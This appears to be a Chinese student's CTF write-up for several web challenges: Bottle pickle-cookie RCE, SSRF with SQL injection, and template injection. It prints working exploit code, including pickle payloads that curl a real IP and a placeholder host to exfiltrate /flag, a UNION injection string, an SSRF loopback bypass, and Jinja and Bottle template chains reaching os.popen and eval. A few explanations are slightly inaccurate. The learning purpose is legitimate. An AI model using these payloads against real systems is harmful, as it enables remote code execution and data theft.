少女祈祷中...

web

签到题:

考察点文件包含,pickle反序列化(pickle流的本质出发来构造

又是一题没解出来,库亚西啊库亚西

又学到什么? 25.5.17

分析题目的思路(绕过登入类型题目)

1.想办法读出密钥

image-20250517003316972

2.提到了cookie,就抓包看一下cookie

image-20250517003405643

image-20250517003739907

3.分析cookie

image-20250517004240350

前半个是使用256加密:

image-20250517005903617

1
2
3
signature = base64.b64encode(
hmac.new(b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256).digest()
) # 结果:o6j+MoPMGQB9LT5wVr3HxiwMjPgI5TXTL0mVN3+C4NE=

**后半段是base64: ** (要注入的代码)

image-20250517005934697

1
b64pld = base64.b64encode(data)  # 结果:KGNvcwpzeXN0ZW0KUydjYXQgL2ZsYWdfKiA+IGZsYWcnCm8u

学到什么?

1.ctf的本质是是什么:通过漏洞,进行反弹shell,shell可大可小,大到监听,小到一句话便可查询flag,本质上都是执行命令

2.我们可以本地部署来测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
from bottle import Bottle, request

app = Bottle()


@app.route('/')
def get_filename():
name = request.query.get('filename')
return f"解析得到的文件名是: {name}"


if __name__ == '__main__':
app.run(host='localhost', port=8080, debug=True)

这是一个简单代码来测试request.query.get是否能够编译我们的编码

image-20250407000034928

事实证明,是不行的(早点发现就好了。。。。。)

3.可以利用ai,不能做题总是靠ai!要学会自己信息收集的能力!

1.解析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

这段 Python 代码使用 bottle 框架构建了一个简单的 Web 应用,具备三个路由来处理不同请求,同时从文件读取密钥用于会话管理。以下是代码详细解释:

1
2
3
4
5
6
7
8
9
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''

首行指定文件编码为 UTF - 8,后续注释包含文件名称、编写时间、作者信息,最后的注释提示 flag 文件位于 /flag_{uuid4} 路径。

1
from bottle import Bottle, request, response, redirect, static_file, run, route

bottle 框架导入构建 Web 应用所需的模块和函数。

1
2
with open('../../secret.txt', 'r') as f:
secret = f.read()

使用 with 语句以只读模式打开 ../../secret.txt 文件,读取内容并赋值给变量 secret,该变量用于会话管理的密钥。

1
app = Bottle()

创建 Bottle 类的实例 app 代表整个 Web 应用。

1
2
3
@route('/')
def index():
return '''HI'''

使用 @route 装饰器定义根路径 / 的路由,当用户访问该路径时,调用 index 函数返回字符串 HI

1
2
3
4
5
6
7
8
9
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

定义 /download 路由,当用户访问时调用 download 函数。从请求查询参数获取 filename 值,对其进行检查,若包含 ../../、**以 /../ 开头、包含反斜杠 \**,则将响应状态码设为 403 并返回 Forbidden;检查通过则以二进制只读模式打开文件,读取内容并返回。

1
2
3
4
5
6
7
8
9
10
11
12
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"

定义 /secret 路由,当用户访问时调用 secret_page 函数。尝试从请求 cookie 中获取名为 name 的会话信息,使用 secret 作为密钥解密。若会话信息不存在或 nameguest,将会话信息设为 {"name": "guest"} 并写入响应 cookie,返回 Forbidden!;若 nameadmin,返回 The secret has been deleted!;若处理过程中出现异常,返回 Error!

1
run(host='0.0.0.0', port=8080, debug=False)

启动 Web 应用,监听 0.0.0.0 地址的 8080 端口,不开启调试模式。

看样子是:

1
2
3
1.在/download里成功绕过../读取到../../secret.txt文件
2.访问/secret进行伪造session
3.提权rce

2.绕过尝试:

1.编码绕过:

1
2
3
4
5
6
1.多层URL编码尝试	  								失败
%252e%252e%252f
2.Unicode编码 失败
%u002e%u002e%u002f%u002e%u002e%u002fsecret.txt
3.混合编码 失败
..%EF%BC%8F..%EF%BC%8Fsecret.txt

2.尝试参数污染

利用已知app.py可以访问尝试

1
2
3
eci-2ze9y7npewuaff64gfp5.cloudeci1.ichunqiu.com:5000/download?filename=.../&filename=app.py
失败
未能出现拦截,仅出现app.py的页面

3.符号隔断尝试:

1
2
?filename=app.py&../../secret.txt
只能返回app.py页面

4.Header注入

1
失败

5.问别人:

1
2
3
./..//..//发现可以
./:当前目录
..//规则化会变成../

构造恶意cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from bottle import route, run,response
import os


sekai = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class exp():
def __reduce__(self):
# cmd = "curl http:112.5.126.95:7777/123?res=`ls -la /|base64 -w 0`"
cmd = "curl http:112.5.126.95:7777/123?res=`/flag|base64 -w 0`"
return (os.system, (cmd,))


@route("/sign")
def index():
try:
# session = {"name": "admin"}
session = exp()
response.set_cookie("name", session, secret=sekai)
return "success"
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

失败。。。。。

太,太,,太依赖ai了!!!!!!!!!

要监听时候使用的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from bottle import route, run,response
import os


sekai = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class exp():
def __reduce__(self):
# cmd = "curl http://x.x.x.x:7777/123?res=`ls -la /|base64 -w 0`"
cmd = "curl http://x.x.x.x:7777/123?res=$(cat /flag | base64 -w 0)"
return (os.system, (cmd,))


@route("/sign")
def index():
try:
# session = {"name": "admin"}
session = exp()
response.set_cookie("name", session, secret=sekai)
return "success"
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

错误构造:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from bottle import route, run, response
import os
import pickle

sekai = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class exp():
def __reduce__(self):
# 定义一个lambda函数:先执行命令,再返回合法字典
return (
lambda: ( # 反序列化时执行此lambda
os.system("ls > /tmp/flag_leak"), # 静默执行命令,将flag写入文件
{"name": "admin"} # 返回合法的字典结构
), # lambda返回的是一个元组,但Pickle会将其整体作为返回值
() # 传递给lambda的参数(空元组)
)

@route("/sign")
def index():
try:
session = exp() # 创建恶意对象
response.set_cookie("name", session, secret=sekai) # 序列化并设置Cookie
return "success"
except:
return "pls no hax"

if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)

通过写入函数来读取

错在哪?

尽管你的代码里 __reduce__ 方法的返回值格式从表面看是正确的,但 lambda 函数的使用还是会引发问题。pickle 在处理返回值时,期望能够准确识别并处理可调用对象和参数。由于 lambda 函数难以序列化,pickle 无法正确处理返回值,从而导致序列化失败。

JWT的不同

JWT 的结构(三部分,用 . 分隔)

1
header.payload.signature

1.写入代码配合文件包含:(从pickle流的本质出发)

了解pickle反序列化cookie的本质,手动写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import hmac
import base64


def gen_cookie(payload):
b64pld = base64.b64encode(payload)
signature = base64.b64encode(
hmac.new(
b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256
).digest()
)
return b'"!' + signature + b"?" + b64pld + b'"'


data = b'''(cos
system
S'cat /flag_* > flag'
o.'''
print(gen_cookie(data).decode())
  • **(c**:在 pickle 操作码中,(c 表示接下来要加载一个全局对象(类或者函数)。
  • **os**:代表要加载的全局对象是 os 模块。
  • **system**:表示要调用 os 模块中的 system 函数,该函数用于执行系统命令。
  • **S'cat /flag_\* > flag'**:Spickle 中表示字符串的操作码,后面单引号内的 cat /flag_* > flag 是要执行的系统命令,其作用是将所有以 flag_ 开头的文件内容输出到一个名为 flag 的文件中。
  • **o.**:o 表示执行调用,. 表示结束 pickle 流。

相当于从pickle流的本质出发来构造

仔细介绍HMAC的原理:

  • HMAC(Hash-based Message Authentication Code)是一种基于哈希函数的消息认证码,用于验证数据完整性和真实性。
  • 核心公式:HMAC = Hash( (Key ⊕ opad) || Hash( (Key ⊕ ipad) || Message ) )
1
人话:密钥  +  哈希算法  +  消息

这一题:

  • 密钥(Key)b"Hell0_H@cker_Y0u_A3r_Sm@r7",需与服务端一致。

  • 消息(Message)b64pld(Base64编码后的Payload)。

  • 哈希算法hashlib.sha256,使用SHA-256算法生成256位哈希值。

return b'"!' + signature + b"?" + b64pld + b'"' 中的 b 是什么?

  • b 前缀的含义
    • 表示该字符串是 字节字符串(Bytes),而非普通文本字符串(Unicode)。
    • 示例b"hello" 是字节序列,"hello" 是Unicode字符串。
  • 为何使用字节字符串
    1. 数据一致性signatureb64pld 是Base64编码后的字节数据,拼接时需保持类型一致。
    2. 性能优化:字节操作无需编解码,效率更高。

2.利用eval函数(官方wp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

exp = cookie_encode(
('session', {"name": [Test()]}),
secret
)

requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

Fate

⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353

很难很难的SSRF + 二进制的SQL注入

源码解释:

1
2
app = flask.Flask(__name__)
blacklist = string.ascii_letters # 所有英文字母(a-zA-Z)
  • 功能:初始化Flask应用,并定义blacklist为所有英文字母。
  • 作用:后续在/proxy路由中用于过滤包含字母的URL,防止潜在攻击。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
# 黑名单检查:拒绝任何字母
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet...')
# 防止SSRF:拒绝包含"."的URL(如http://)
if "." in url:
return flask.abort(403, 'No ssrf allowed')
# 发送请求并返回内容
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
  • 从客户端请求中获取的 url 参数拼接到 http://lamentxu.top 后面,从而形成一个完整的目标 URL。例如,如果客户端请求的 url/example,那么 target_url 就会是 http://lamentxu.top/example

  • blacklist 是在代码开头定义的,它包含了所有的英文字母(大小写)。

  • 通过一个 for 循环遍历 blacklist 中的每个字母,检查 url 参数中是否包含这些字母。如果包含任何一个字母,就调用 flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') 返回 403 Forbidden 错误,表明客户端请求被拒绝,因为 url 参数包含了被禁止的字母。这样做的目的可能是为了防止某些恶意的输入或者特定的攻击。

  • 这检查 url 参数中是否包含 . 字符。在网络请求中,. 字符常常用于构造不同的域名或者路径,攻击者可能会利用这一点来进行服务器端请求伪造(SSRF)攻击。如果 url 参数中包含 . 字符,就返回 403 Forbidden 错误,提示 No ssrf allowed,以此来防止潜在的 SSRF 攻击。

(查询name字段)

1
2
3
4
5
6
7
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

这段 Python 代码定义了一个名为 db_search 的函数,其功能是在 SQLite 数据库里查找与给定代码 code 对应的 FATE 字段值。数据库文件名为 database.db,表名为 FATETABLE

UPPER() 函数的作用是将字符串转换为大写形式。这里多次嵌套使用 UPPER() 函数,实际上一次 UPPER() 函数调用就可以实现将字符串转换为大写的功能,多次嵌套是多余的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@app.route('/1337', methods=['GET'])
def api_search():
# 仅允许本地访问
if flask.request.remote_addr != '127.0.0.1':
flask.abort(403, "Only local access allowed")

code = flask.request.args.get('0')
if code != 'abcdefghi':
flask.abort(400, "Hello local, and hello hacker")

req_param = flask.request.args.get('1')
try:
# 将二进制字符串转换为JSON
req_str = binary_to_string(req_param)
req = json.loads(req_str)
except:
flask.abort(400, "Invalid JSON")

# 检查JSON中的"name"字段
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']

# 输入过滤:长度≤6,无单引号和右括号
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name or ')' in name:
flask.abort(400, "Invalid characters")

# 查询数据库
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
  • flask.request.remote_addr 可以获取到客户端的 IP 地址。这行代码检查客户端的 IP 地址是否为 127.0.0.1,也就是本地回环地址。只有当客户端的 IP 地址是 127.0.0.1 时,才会继续处理请求;否则,会执行 else 分支,返回 403 Forbidden 错误,并提示 “Only local access allowed”,这是为了防止外部网络的用户访问该接口。

  • flask.request.args 是一个字典,包含了客户端通过 GET 请求发送的所有查询参数。get('0') 尝试从这个字典中获取键为 0 的值。

  • 只有当查询参数 0 的值等于 'abcdefghi' 时,才会继续处理请求;否则,会返回 400 Bad Request 错误,并提示 “Hello local, and hello hacker”。(人话:JSON的请求第一个为abcdefghi

(查询键值1)

  • 从查询参数中获取键为 1 的值。

  • 然后,调用 binary_to_string 函数将其从二进制字符串转换为普通字符串

  • 接着,使用 json.loads 函数将这个字符串解析为 JSON 对象。

  • 如果在转换或解析过程中出现异常(例如二进制字符串格式错误或 JSON 格式错误),会返回 400 Bad Request 错误,并提示 “Invalid JSON”。

  • 调用 db_search 函数,根据 name 字段的值在数据库中进行查询,获取对应的 Fate 信息。

  • 如果查询结果为 None,说明数据库中没有找到对应的记录,会返回 404 Not Found 错误,并提示 “No such Person”。

1
2
3
4
5
仅允许127.0.0.1访问。

参数0必须为`abcdefghi`。

name字段需满足长度≤6,且不含'和)。

转化JSON为二进制代码

1
2
3
import binascii
json_data = '{"name":"FLAG"}'
binary_str = ''.join(format(ord(c), '08b') for c in json_data)

payload部分:

第一次构造(@绕过,127.0.0.1绕过)

(也可以试试看DNS 重绑定(DNS Rebinding),但是没遇到,就先不补充了)

通过**@来绕过**前面的 + 构造

由于不可以写点,于是使用十进制绕过

1
2
3
1.0x7F000001  ----八进制绕过
2.017700000001 -----八进制绕过
3.2130706433 ----十进制绕过
1
/proxy?url=@2130706433:80/1337

搞半天,不懂哪里错了,老是返回500

实在不理解,于是去看了一下wp:(多尝试端口)

原来是我端口错了

1
/proxy?url=@2130706433:8080/1337

第二次构造:(传入abcdef

怎么样才能使0=abcdef可以传入呢?

二次编码!

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569
  • 第一次解码
    %2561%61(此时 %61 仍然是编码形式,不包含字母 a)。
  • 过滤检查
    黑名单仅检查解码后的 %61,未检测到字母 a允许通过
  • 第二次解码(某些框架自动进行):
    %61a,最终注入成功。

利用服务器可以多次解码来进行绕过

image-20250417120517464

出现这个即是绕过第一次WAF

第三次构造:(看wp的)

实在不明白为什么我的构造传入不行:

1
2
3
4
import binascii
json_data = '''{"name":{LAMENTXU}}'''
binary_str = ''.join(format(ord(c), '08b') for c in json_data)
print(binary_str) # 必须添加这一行才能看到输出
1
http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569&1=01111011001000100110111001100001011011010110010100100010001110100111101101001100010000010100110101000101010011100101010001011000010101010111110101111101

老是返回:

image-20250417120856252

看wp:

1
"""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""

欸,怎么会这么长?

1
2
3
4
import binascii
json_data = '''{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}'''
binary_str = ''.join(format(ord(c), '08b') for c in json_data)
print(binary_str) # 必须添加这一行才能看到输出

官方答案:

1
http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

补充知识:

我在这里使用了&,而答案使用了%26我的答案无法返回答案,而答案可以返回,为什么呢?

深入研究!!

如果使用&

会被解析为独立参数,与 /proxy 路由无关,直接被丢弃

那么会被解析为两个部分:

1
2
3
4
http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337
?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569

&1=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

不是作为一个整体

使用%26

便会被视为一个整体传入

1
2
3
4
http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337

( ?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569
%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101 )

真是神奇,学到了!!!

ez_puzzle

考察点:开发者工具的使用

不会做。。。没有一点思路,只好去看wp了。

1.打开开发者工具:

正常会触发:( f12之类的 )

image-20250415193233142

我们可以用火狐的更多工具打开:

image-20250415193328430

打开出现:

image-20250415193417322

怎么办?当然是把这个关了:(火狐)

image-20250415193459982

这是edge

image-20250415202927681

2.设置时间

既然要求在两秒,肯定是不可能的,

由于我不会拼图。。。。看wp知道需要修改alert

image-20250415203131788

把小于改为大于:(需要在本地配置)

怎么配置啊。。。。不懂,有空问一下学长!

出题人已疯

考察点:Python 允许动态为模块添加属性,在OS模板里面一步一步增加新属性

学到什么别的东西?

1.payload 长度限制时通过分步骤更新config对象,将长表达式拆解为多个短语句,避免单次表达式过长(在config里面创造属性)

(虽然不是这一题的(Flask的))

  • config对象特性

    • 是 Flask 中用于存储配置信息的字典子类,可通过app.config访问,支持字典操作(如update方法)。
    • 核心思路:通过分步骤更新config对象,将长表达式拆解为多个短语句,避免单次表达式过长。
  • 具体实现步骤

    • 通过set语句配合update方法逐步赋值

      1
      2
      3
      4
      5
      {%set x=config.update(a=config.update)%}  <!-- 将config.update赋值给config.a -->
      {%set x=config.a(f=lipsum.__globals__)%} <!-- 通过config.a(即update)设置f=lipsum.__globals__ -->
      {%set x=config.a(o=config.f.os)%} <!-- 设置o=config.f.os(即lipsum.__globals__.os) -->
      {%set x=config.a(p=config.o.popen)%} <!-- 设置p=config.o.popen(即os.popen) -->
      {{config.p("cat /flag").read()}} <!-- 最终调用popen执行命令 -->

利用 Flask 模板引擎的特性,通过操作模板上下文的全局变量来获取执行系统命令的能力。具体来说,是通过config对象和lipsum函数的全局变量来获取os.popen函数,进而执行系统命令。

2.内存马是什么?

1

学习过程中的疑问

1,为什么输入\ppppp会回显500 ,输入\1111会回显1111呢

Bottle 的模板引擎在解析 时会执行以下操作:

  • 有效表达式:如果内容是 合法且已定义的变量或字面量,会直接渲染结果。

    1
    2
    {{1111}}    → 输出 "1111"(数字字面量直接渲染)
    {{"hello"}} → 输出 "hello"(字符串字面量)
  • 未定义变量:如果内容是 未定义的变量或函数,会抛出NameError导致 500 错误。

    1
    2
    3
    {{ppppp}}   → 未定义变量 ppppp → 500 错误
    {{os}} → 未导入 os 模块 → 500 错误
    {{config}} → 500 错误(变量未定义或禁用)

2.为什么\config无法访问:

  1. 变量未暴露:Bottle 模板的默认上下文(context)未暴露敏感对象如 request、app、config。
    Bottle 默认仅暴露部分内置对象(如 request 在路由处理中可用,但在模板中可能被限制)。

  2. 沙箱限制:服务器可能配置了沙箱环境,禁止访问特定属性(如 __class__、__dict__)。
    例如:访问config.__class__会触发沙箱的安全规则,直接拦截。

  3. 异常未处理:当模板引擎尝试访问未定义的变量或受限属性时,会抛出 NameErrorAttributeError,若服务器未捕获这些异常,会返回 500。

答案的wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url='http://gz.imxbt.cn:20935/attack'

payload="__import__('os').system('ls />123')"


p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;os.a+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

以下是对这段 CTF 攻击代码的逐行深度解释,结合上下文逻辑和安全漏洞原理进行分析:

1. 导入requests

1
import requests
  • 作用:用于发送 HTTP 请求,与目标服务器交互。
  • 背景:在 CTF 中,攻击脚本常通过 HTTP 请求传递恶意 Payload,requests提供了简洁的接口来构造和发送 GET/POST 请求。

2. 定义目标 URL

1
url = 'http://gz.imxbt.cn:20935/attack'
  • 目标解析:
    • 协议:http(明文传输,可能存在 SSTI 漏洞的服务)。
    • 域名 / IP:gz.imxbt.cn(比赛环境的临时域名)。
    • 端口:20935(非标准端口,可能是比赛中部署的靶机端口)。
    • 路径:/attack(具体的漏洞接口,用于接收 Payload 参数)。
  • 关键:该 URL 是攻击的目标端点,需要存在服务器端模板注入(SSTI)漏洞才能被利用。

3. 构造恶意 Payload

1
payload = "__import__('os').system('ls / >123')"
  • Payload 功能:

    • __import__('os'):动态导入 Python 的os模块(等价于import os)。

    • .system('ls / >123')
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12

      :通过`os.system`执行系统命令`ls / >123`,作用是:

      - `ls /`:列出根目录下的所有文件和目录(可能包含 Flag 文件)。
      - `>123`:将命令输出重定向到当前目录的`123`文件中(无回显场景下通过文件存储结果)。

      - **为什么不直接用`os.system`?**:在 SSTI 漏洞中,通常需要通过 Python 代码执行系统命令,`__import__('os')`是动态导入模块的方式,适用于模板环境中可能禁用直接导入的场景。

      ### 4. **拆分 Payload 为短片段**

      ```python
      p = [payload[i:i+4] for i in range(0, len(payload), 4)]
  • 拆分逻辑

    • payload每 4 个字符一组拆分(如原 Payload 为"abcd1234",拆分为['abcd', '1234'])。
    • 原因:题目可能限制单次请求的 Payload 长度(如≤25 字符),完整 Payload 长度超过限制,需拆分成多个短片段,通过多次请求拼接。
  • 为什么是 4 个字符?:根据目标漏洞的长度限制动态调整,确保每个片段拼接后的请求参数(如%import os;os.a+="xxxx")总长度不超限。

5. 初始化标志变量flag

1
flag = True
  • 作用:标记是否为第一次发送拼接请求。
  • 关键逻辑:第一次请求时需要初始化os.a变量(赋值操作),后续请求只需追加片段(拼接操作),避免重复初始化导致之前的片段丢失。

6. 循环拼接 Payload 片段

1
2
3
4
5
6
7
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
r = requests.get(url, params={"payload": tmp})

逐行解析:

  • **for i in p:**:遍历所有拆分后的片段(如['__im', 'port', ...])。

  • 首次请求(flag=True

    • tmp = f'\n%import os;os.a="{i}"'
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19

      - `%import os`:假设目标模板引擎支持类似 Jinja2 的语法,用于导入 Python 模块(实际可能根据模板引擎调整,此处可能是利用漏洞直接执行 Python 代码)。
      - `os.a = "{i}"`:将第一个片段赋值给`os模块`的自定义属性`a`(Python 允许动态为模块添加属性)。

      - `flag = False`:标记后续请求不再是首次,**转为追加模式**。

      - **后续请求(`flag=False`)**:

      - `tmp = f'\n%import os;os.a+="{i}"'`:将当前片段追加到`os.a`中(如`os.a += "xxxx"`),逐步拼接完整的 Payload。

      - **`r = requests.get(...)`**:

      - 向目标 URL 发送 GET 请求,参数`payload=tmp`,将拼接逻辑传递给服务器执行。
      - **本质**:通过多次请求,在服务器端的 Python 环境中逐步构建`os.a`为完整的恶意命令(如`__import__('os').system('ls / >123')`)。

      ### 7. **执行完整的恶意命令**

      ```python
      r = requests.get(url, params={"payload": "\n%import os;eval(os.a)"})
  • 核心操作

    • eval(os.a):执行os.a中存储的完整 Python 代码(即之前拼接的__import__('os').system('ls / >123'))。
    • 为什么需要单独请求?:拼接过程仅构建了os.a变量,需通过单独的请求触发eval执行命令。
  • 安全风险eval直接执行用户可控的代码,是 SSTI 漏洞的典型利用方式。

8. 读取重定向的文件内容

1
r = requests.get(url, params={"payload": "\n%include('123')"}).text
  • 作用
    • %include('123'):假设模板引擎支持文件包含功能(如 Jinja2 的{% include %}),用于读取之前重定向生成的123文件。
    • 由于ls /的输出被重定向到123,通过包含该文件可获取命令执行结果(如根目录下的文件列表,可能包含 Flag 文件)。
  • 关键点:在无回显的命令执行场景中,通过文件重定向和文件包含获取输出是常见手法。

9. 打印结果

1
print(r)
  • 功能:将读取到的123文件内容(即ls /的输出)打印到控制台,显示目标服务器的文件列表,从中查找 Flag。

10.总结:

os.a 这个新的属性里面一次一次导入恶意代码,最后用 eval 读取执行 os.a 便会成功执行并且写入123 这个文件中,最后使用include读取123文件。

若是os被过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://gz.imxbt.cn:20255/attack'


payload = "__import__('o'+'s').system('cat /f*>123')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f"\n%import o{'s'}; o{'s'}.a = '{i}'"
flag = False
else:
tmp = f"\n%import o{'s'}; o{'s'}.a += '{i}'"
r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

特殊的做法:

1
%0a%include('app.py')

为什么能读取 app.py

  • Bottle模板引擎的特性
    • Bottle的模板语法以 % 开头,类似Python代码。
    • %include 是模板指令,用于动态插入其他模板文件的内容。
    • 当模板解析到 %include('app.py') 时,会直接读取 app.py 文件内容并嵌入到响应中。
  • 路径解析
    • 默认情况下,Bottle从 当前工作目录指定模板目录 中查找文件。
    • 如果 app.py 位于当前目录(即运行应用的路径),模板引擎可以正常找到并包含它。

为什么需要 %0a(换行符)?

  • 绕过过滤规则:
    • 源码中检查了 'open' 关键字和 \ 符号,但允许其他指令。
    • 通过换行符 \n 分割代码,确保 %include 是一个独立的模板指令,避免与其他代码冲突。
    • %0a 不会被过滤,且帮助分隔逻辑,使 %include 被正确解析。
1
仅允许访问 ​​当前目录或子目录​​

now you see me

源码:

最开始只有一些print???后面全选发现有一行长的离谱:

image-20250419002118962

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2024/12/27 18:27:15
@Author : LamentXU

运行,然后你会发现启动了一个flask服务。这是怎么做到的呢?
注:本题为彻底的白盒题,服务端代码与附件中的代码一模一样。不用怀疑附件的真实性。
'''
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
